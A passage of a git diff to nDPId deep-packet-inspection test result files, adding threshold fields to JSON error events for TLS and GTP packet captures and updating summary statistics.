type","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1557818846909855,"packet_id":6,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846909855} 02335{"packet_event_id":1,"packet_event_name":"packet","packet_id":6,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1522,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":1522,"pkt_l4_len":0,"thread_ts_usec":1557818846743554,"pkt":"AAAAAAABAAd9VAeAgQAAXYEAAQIIAEUABdzoBEAAPQZ1cArOQfkKzoMSAbvlIcEFrE3OLtklUBAAf4KWAAAWAwMAMQIAAC0DA6eY8O1X3X3mQxpK5jBthKXbggXTdMEwSebU\/C3eGyaMAABFAAAF\/wEAAQAWAwMKsAsACqwACqkABa0wggWpMIIEkaADAgECAgRcADaSMA0GCSqGSIb3DQEBCwUAMIGwMQswCQYDVQQGEwJVUzERMA8GA1UECAwITmV3IFlvcmsxEjAQBgNVBAcMCVJvY2hlc3RlcjEaMBgGA1UECgwRWGVyb3ggQ29ycG9yYXRpb24xKzApBgNVBAsMIkdlbmVyaWMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkxMTAvBgNVBAMMKFhlcm94IEdlbmVyaWMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMTgxMTI5MTg1NzIyWhcNMjMxMTI5MTg1NzIyWjCBsjELMAkGA1UEBhMCVVMxFDASBgNVBAgMC0Nvbm5lY3RpY3V0MRAwDgYDVQQHDAdOb3J3YWxrMRowGAYDVQQKDBFYZXJveCBDb3Jwb3JhdGlvbjEmMCQGA1UECwwdR2xvYmFsIFByb2R1Y3QgRGVsaXZlcnkgR3JvdXAxGDAWBgNVBAMMD1hSWDlDOTM0RTk0OUZFRjEdMBsGCSqGSIb3DQEJARYOdXNlckB4ZXJveC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCzOO4XBzGAsvXAUZCvKlNS0ZkTg4CPeXJP+nJVRYA6XFVgcCBzykrSHCu0Y5U7SEcAp8qNsaTFqksYnK\/LydYXDbB8hopOYrLt9CybGPHIgOHFLqHcR7AQGMPPsqNseCPbVxC9MxESLkuuP6C+psPTMgU3We8QQepVTiTwRPkjbRt2ckXJmlv9RVwBZJw5H9Kj67ioINRaF7pzZa8+WXvRU7yezlug0Rzfp5ecju0QBU4VVZe3xUzfdZWz\/fJSPmAHkTaC2YSiwkocYvBT4zICg1P1PoEDtqIqZeii6N1m0v6iOX9IqiHmzg62Idlf1UVl5TDJNOjjpoWiNOg8STnRAgMBAAGjggHFMIIBwTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwID6DARBglghkgBhvhCAQEEBAMCBeAwJwYJYIZIAYb4QgENBBoWGFhlcm94IERldmljZSBDZXJ0aWZpY2F0ZTBFBgNVHSUEPjA8BggrBgEFBQcDAQYIKwYBBQUHAwIGCCsGAQUFBwMEBggrBgEFBQcDBQYIKwYBBQUHAwYGCCsGAQUFBwMHMIHgBgNVHREEgdgwgdWkgbUwgbIxCzAJBgNVBAYTAlVTMRQwEgYDVQQIDAtDb25uZWN0aWN1dDEQMA4GA1UEBwwHTm9yd2FsazEaMBgGA1UECgwRWGVyb3ggQ29ycG9yYXRpb24xJjAkBgNVBAsMHUdsb2JhbCBQcm9kdWN0IERlbGl2ZXJ5IEdyb3VwMRgwFgYDVQQDDA9YUlg5QzkzNEU5NDlGRUYxHTAbBgkqhkiG9w0BCQEWDnVzZXJAeGVyb3guY29tghVYUlg5QzkzNEU5NDlGRUYubG9jYWyHBArOQfkwHQYDVR0OBBYEFMmJGzBJIOsjLFdZLeXCDp3CSY16MB8GA1UdIwQYMBaAFA5YSZ0ji1KMbT2VVkZ5iGGFcfkbMA0GCSqGSIb3DQEBCwUAA4IBAQB80KwxdBQ2CUwzB3yhxrGfnJ\/+Rn876RYYjG9vMongwqLQxzoMeih5ZYXUzZli4hz+h1LK1v\/Ege\/lnGMJWs5DzyRepcrJfNJyE84fIaiM7ydc4mgf4KSu\/x7gt5qX9YMDRXEHpueX87MCCsZd9AQjFk4qZRY0WhjFRvbThA5GqkFpCqA0X55jQpF7OHcvidnEDSSGJOscxoaULh4nHZ+rmU8zNBk1ygIMcR6kn+pbP+1LRFxtmg9WILz8X+C22fbQoA=="} -00205{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":7,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846909875} +00305{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":7,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1557818846909875,"packet_id":7,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846909875} 02338{"packet_event_id":1,"packet_event_name":"packet","packet_id":7,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1522,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":1522,"pkt_l4_len":0,"thread_ts_usec":1557818846743554,"pkt":"AAAAAAABAAd9VAeAgQAAXYEAAQIIAEUABdzoBUAAPQZ1bwrOQfkKzoMSAbvlIcEFsgHOLtklUBAAf385AAALxoVe5\/5I\/GDx\/TXFQSvGZzZlkxxeY6r7JfvE1MO5kSqJIylcqtI3CgZidU7wxPplCb4PCKG\/MIidVTuxRwAE9jCCBPIwggPaoAMCAQICAQIwDQYJKoZIhvcNAQELBQAwgbAxCzAJBgNVBAYTAlVTMREwDwYDVQQIDAhOZXcgWW9yazESMBAGA1UEBwwJUm9jaGVzdGVyMRowGAYDVQQKDBFYZXJveCBDb3Jwb3JhdGlvbjErMCkGA1UECwwiR2VuZXJpYyBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eTExMC8GA1UEAwwoWGVyb3ggR2VuZXJpYyBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eTAgFw0xNTExMTIyMzUyNDBaGA8yMDI0MDQxNTIzNTk1OVowgbAxCzAJBgNVBAYTAlVTMREwDwYDVQQIDAhOZXcgWW9yazESMBAGA1UEBwwJUm9jaGVzdGVyMRowGAYDVQQKDBFYZXJveCBDb3Jwb3JhdGlvbjErMCkGA1UECwwiR2VuZXJpYyBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eTExMC8GA1UEAwwoWGVyb3ggR2VuZXJpYyBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKt8bDMRhnfwJSIitgDFLpGuBprC4tMhmkGTeBAp8D9tAJoRmr+CQlMBB0pRzAN3w\/GP1z48MoOiOUPMjA0yAQqbt15H+uMuVo4oC0Zl\/CXAy2wCEdlvlnWBzsZx+on5aArVYHxCe638JGA7+LhPXCM+346VJRtjkNd9d11824SziT\/ygbTCBgVVvBQfxWREr4m3OIDTRnRYod7st+aMcTs4X8iIywZyrHXM2eAOP\/xODdJcpVCW5vx+mk6jJj73WVq\/XPDe0cXAxYE8sy6qGWTHvht48XMNGGpEESimKhn1YJiWKYBNbsKu1nbfEzD687rWbkrNMW0Sc\/MsgRTOAUcCAwEAAaOCAREwggENMB0GA1UdDgQWBBQOWEmdI4tSjG09lVZGeYhhhXH5GzCB3QYDVR0jBIHVMIHSgBQOWEmdI4tSjG09lVZGeYhhhXH5G6GBtqSBszCBsDELMAkGA1UEBhMCVVMxETAPBgNVBAgMCE5ldyBZb3JrMRIwEAYDVQQHDAlSb2NoZXN0ZXIxGjAYBgNVBAoMEVhlcm94IENvcnBvcmF0aW9uMSswKQYDVQQLDCJHZW5lcmljIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5MTEwLwYDVQQDDChYZXJveCBHZW5lcmljIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5ggECMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAFzBoKpnLrmCU34LZVg1dmsGoHKRK8ICHad1WmoTf8tebjslNeQND+QJaTFr3pX+k42\/n0u56QcCuzaiFTXHUV9FwQBXBhJRCC1Gw8JtD3KZTYD9IBg4q76pwMV3oYIc7yX0hApuPlis99BtrQ9uAJVJiqY61RayEgUpVpo+CewQOmF5JFd9ewI7lhRF\/1idFtJtNnVamFRvVESZUI+qwjibTBflOWhLITGcO7Wiztv2SGGWMWBXMEA04kzRXHZBKwPrVxAN4fFTRFJV+ONyDQcmGWoouPJiF2sv+h4P7L2o+Dy0iFjKIFY9A5Cg99pRDDKSRMAvCINP6g5IjDcjgJUWAwMDDwwAAwsBAMNj2BphFRDNLN7J8e1RH+Su2MMVc1DB3hpn71wBz6BtmNgWp4+Y2p9CQiEHz4mR1ejIQBfdfvytF2PniPCskclZXrLgsDC4r0hI53ROCdv4P1SZUaFs3carINdEGB1bHf8sdFbtL9NWvyl+LVW75HzWLA=="} -00205{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":8,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846910003} +00305{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":8,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1557818846910003,"packet_id":8,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846910003} 01291{"packet_event_id":1,"packet_event_name":"packet","packet_id":8,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":734,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":734,"pkt_l4_len":0,"thread_ts_usec":1557818846743554,"pkt":"AAAAAAABAAd9VAeAgQAAXYEAAQIIAEUAAsjoBkAAPQZ4ggrOQfkKzoMSAbvlIcEFt7XOLtklUBgAf3btAAArP3r0rVe0Aym6JLwpOw\/ARwhTpY9aS7jceyqxacIXzRspfll0u1\/NkXDZNHalNI0jifA02VmOaSzhsGzJ03fuqKyyLCUPurWOZCj\/m+yOkMFwArOo4uIOxsENzfQIgKhMCW3YH1KAEc\/D52lgcc5dEHoPQCigIQjo2dWhtfY\/oG4sKNF1rHdnRmXJwxczAAECAQCB0DPstOMfM5F8X5MwgsDlsx2xgwVyLIjRqp9YCi1KiPDkTsRRNZ9DD6t\/ryiWXZAQh9BkHB6TFnEabzzd3ZV133DGDkbN8ivrZ\/z57itpt2v72s73UcOj834+OvBHQFis\/1RjFZ7mfCgZRE7PIBkRRL\/Gn9PLQP0KlGyVBXaYBJTPMozKF3QO3V\/4LEH3gpTFO8WY5zmgwf\/CrWjV7llloR3tiNBaPGJTsW2xi2J6BP1sZieM89wnWuVbN6GqAOFNenvYif3wSlXllxAZenbfAoFQylIORWBw38yjKf3qIiHxBJU4ZxexUo\/O3\/t3hKHDSjcp4a7NNUxFPMsCxeC4AgEBAC3kckI79wHr9Jdk4qPrAuTCIIeE\/qBxvLET0Ua\/Ah37Jo0oIdRWbuCV7ge6meATSbHe7FqMhYpMG23Q4uSTupEwX5lZxUqx\/xIwzx\/AfDOL16722QUiKA21ChDMHjmqP5t7YWazRTsOuyLB6n0u9314zm7LNLRLxx5EGml4HiX5zxmVQR\/KEVEeOD+pMCY0IxlT35RaHC0aLunpBP\/ttxpaC85IzJ+shFeD9zYmMngnHXqhjgcuDFtGQMpQpLUFpMeo2O0rVIMdLlN1ZFuVyYVT661Vjz7ZgC7FvbaJEi5940Vlycu+kXQRVfxPb6IwVbYoX8euxN9GS2WsUJxqmpEWAwMABA4AAAA="} -00205{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":9,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846937133} +00305{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":9,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1557818846937133,"packet_id":9,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846937133} 00382{"packet_event_id":1,"packet_event_name":"packet","packet_id":9,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":68,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"thread_ts_usec":1557818846743554,"pkt":"AAAAAAABsKp3tUhAgQAAXYEAAQIIAEUAACjDTEAAPwad3ArOgxIKzkH55SEBu84u2SXBBbIBUBAfXrSWAAAAAAAAAAA="} -00206{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":10,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846938365} +00307{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":10,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1557818846938365,"packet_id":10,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846938365} 00383{"packet_event_id":1,"packet_event_name":"packet","packet_id":10,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":68,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"thread_ts_usec":1557818846743554,"pkt":"AAAAAAABAAd9VAeAgQAAXYEAAQIIAEUAACjoB0AAPQZ7IQrOQfkKzoMSAbvlIcEFulXOLtksUBAAf8saAAAAAAAAAAA="} -00206{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":11,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846965822} +00307{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":11,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1557818846965822,"packet_id":11,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846965822} 00383{"packet_event_id":1,"packet_event_name":"packet","packet_id":11,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":68,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"thread_ts_usec":1557818846743554,"pkt":"AAAAAAABsKp3tUhAgQAAXYEAAQIIAEUAACifbEAAPwbBvArOgxIKzkH55SEBu84u2SwAAAAAUAQAAEcBAAAAAAAAAAA="} 00573{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":11,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","packets-captured":11,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":25,"global_ts_usec":1557818846965822} ~~~~~~~~~~~~~~~~~~~~ SUMMARY ~~~~~~~~~~~~~~~~~~~~ @@ -35,6 +35,6 @@ ~~ total memory freed........: 6034017 bytes ~~ total allocations/frees...: 121477/121477 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 210 chars +~~ json string min len.......: 310 chars ~~ json string max len.......: 2343 chars -~~ json string avg len.......: 1275 chars +~~ json string avg len.......: 1325 chars diff --git a/test/results/ja3_lots_of_cipher_suites_2_anon.pcap.out b/test/results/ja3_lots_of_cipher_suites_2_anon.pcap.out index 2e516e5c5..0e277b10a 100644 --- a/test/results/ja3_lots_of_cipher_suites_2_anon.pcap.out +++ b/test/results/ja3_lots_of_cipher_suites_2_anon.pcap.out @@ -1,35 +1,35 @@ 00512{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} 00575{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":1,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":2,"global_ts_usec":1505724520744830} -00258{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":1,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":114,"expected":118,"global_ts_usec":1505724520744830} +00358{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505724520744830,"packet_id":1,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":114,"expected":118,"global_ts_usec":1505724520744830} 00452{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"thread_ts_usec":1505724520744830,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABkI90AAEARjIOEvvQMl3m5LAhoCGgAUAAAMv8AQAE8W3RuUAAARQAAPGNKQABABin+wKiTsZd5waDkgAG7Qsba5QAAAACgAjkIo+MAAAIEBbQEAggKAAu5rwAAAAABAwMF"} 00782{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1505724520744830,"flow_src_last_pkt_time":1505724520744830,"flow_dst_last_pkt_time":1505724520744830,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":72,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":72,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":72,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1505724520744830,"l3_proto":"ip4","src_ip":"132.190.244.12","dst_ip":"151.121.185.44","src_port":2152,"dst_port":2152,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00615{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_src_last_pkt_time":1505724520744830,"flow_dst_last_pkt_time":1505724520744830,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"thread_ts_usec":1505724520744830,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABkI90AAEARjIOEvvQMl3m5LAhoCGgAUAAAMv8AQAE8W3RuUAAARQAAPGNKQABABin+wKiTsZd5waDkgAG7Qsba5QAAAACgAjkIo+MAAAIEBbQEAggKAAu5rwAAAAABAwMF"} 00898{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1505724520744830,"flow_src_last_pkt_time":1505724520744830,"flow_dst_last_pkt_time":1505724520744830,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":72,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":72,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":72,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1505724520744830,"l3_proto":"ip4","src_ip":"132.190.244.12","dst_ip":"151.121.185.44","src_port":2152,"dst_port":2152,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"GTP.GTP_U","proto_id":"152.271","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00611{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_src_last_pkt_time":1505724520744830,"flow_dst_last_pkt_time":1505724520947456,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"thread_ts_usec":1505724520947456,"pkt":"MNF+EIYg\/Ejv6KgaCABFAABgHZ4AAD0Rln6XebkshL70DAhoCGgATAAAMP8APEGxP1xFAAA8AABAADIGm0iXecGgwKiTsQG75IBV2gFiQsba5qAScSDmyQAAAgQFeAQCCAoxbvx\/AAu5rwEDAwc="} -00258{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":3,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1505724521281457} +00358{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505724521281457,"packet_id":3,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1505724521281457} 00444{"packet_event_id":1,"packet_event_name":"packet","packet_id":3,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"thread_ts_usec":1505724520947456,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABcNCoAAEARfD6EvvQMl3m5LAhoCGgASAAAMv8AOAE8W3RxUAAARQAANGNLQABABioFwKiTsZd5waDkgAG7Qsba5lXaAWOAEAHJhFMAAAEBCAoAC7oNMW78fw=="} 00607{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":3,"flow_src_last_pkt_time":1505724521281457,"flow_dst_last_pkt_time":1505724520947456,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"thread_ts_usec":1505724521281457,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABcNCoAAEARfD6EvvQMl3m5LAhoCGgASAAAMv8AOAE8W3RxUAAARQAANGNLQABABioFwKiTsZd5waDkgAG7Qsba5lXaAWOAEAHJhFMAAAEBCAoAC7oNMW78fw=="} -00258{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":4,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":513,"expected":517,"global_ts_usec":1505724521624823} +00358{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505724521624823,"packet_id":4,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":513,"expected":517,"global_ts_usec":1505724521624823} 00990{"packet_event_id":1,"packet_event_name":"packet","packet_id":4,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":513,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":513,"pkt_l4_len":0,"thread_ts_usec":1505724521281457,"pkt":"\/Ejvopo\/MNF+D2w+CABFuAHzPsUAAEARcAyEvvQMl3m5LAhoCGgB3wAAMv8BzwE8W3RzUAAARQABy2NMQABABihtwKiTsZd5waDkgAG7Qsba5lXaAWOAGAHJpLIAAAEBCAoAC7oOMW78fxYDAQGSAQABjgMDWb+IaLIesQWIv6YFz4XWzGx5xL0th24F2at6CJidHk8AAQbALMAwAJ\/ArcCfwCTAKABrwArAFAA5wK\/Ao8CHwIvAfcBzwHcAxACIwCvALwCewKzAnsAjwCcAZ8AJwBMAM8CuwKLAhsCKwHzAcsB2AL4ARcAIwBIAFgCrwKfAOACzwDYAkcCRwJvAl8CrAKrApsA3ALLANQCQwJDAlsCawKrANACPAJ3AnQA9ADXAMsAqwA\/ALsAmwAXAocB7AMAAhMCNwHnAicB1AJzAnAA8AC\/AMcApwA7ALcAlwATAoMB6ALoAQcCMwHjAiMB0AArADcADAK0AtwCVwJPAmQCsALYAlMCSwJgAkwCpwKUArwCNwI\/AlcCpAKjApACuAIzAjsCUwKgAiwD\/AQAAXwAAABMAEQAADjE5Mi42OS4xMzYuMTc5AA0AFgAUBgMGAQUDBQEEAwQBAwMDAQIDAgEACgAYABYAGQAcABgAGwAXABYAGgAVABQAEwASAAsAAgEAABYAAAAXAAAAIwAA"} -00258{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":9,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1505724523243945} +00358{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505724523243945,"packet_id":9,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1505724523243945} 00445{"packet_event_id":1,"packet_event_name":"packet","packet_id":9,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"thread_ts_usec":1505724522900342,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABccWEAAEARPweEvvQMl3m5LAhoCGgASAAAMv8AOAE8W3R4UAAARQAANGNNQABABioDwKiTsZd5waDkgAG7QsbcfVXaBs+AEAIjeMYAAAEBCAoAC7rNMW7\/7w=="} -00259{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":10,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1505724523425476} +00359{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505724523425476,"packet_id":10,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1505724523425476} 00446{"packet_event_id":1,"packet_event_name":"packet","packet_id":10,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"thread_ts_usec":1505724523243945,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABcdugAAEAROYCEvvQMl3m5LAhoCGgASAAAMv8AOAE8W3R5UAAARQAANGNOQABABioCwKiTsZd5waDkgAG7QsbcfVXaB5OAEAIjeAIAAAEBCAoAC7rNMW7\/7w=="} -00259{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":11,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":118,"expected":122,"global_ts_usec":1505724523784944} +00359{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505724523784944,"packet_id":11,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","size":118,"expected":122,"global_ts_usec":1505724523784944} 00461{"packet_event_id":1,"packet_event_name":"packet","packet_id":11,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":118,"pkt_l4_len":0,"thread_ts_usec":1505724523425476,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABogi4AAEARLi6EvvQMl3m5LAhoCGgAVAAAMv8ARAE8W3R6UAAARQAAQGNPQABABin1wKiTsZd5waDkgAG7QsbcfVXaB5OwEAIjg6MAAAEBCAoAC7rNMW8EIAEBBQpV2gbPVdoHkw=="} -00259{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet 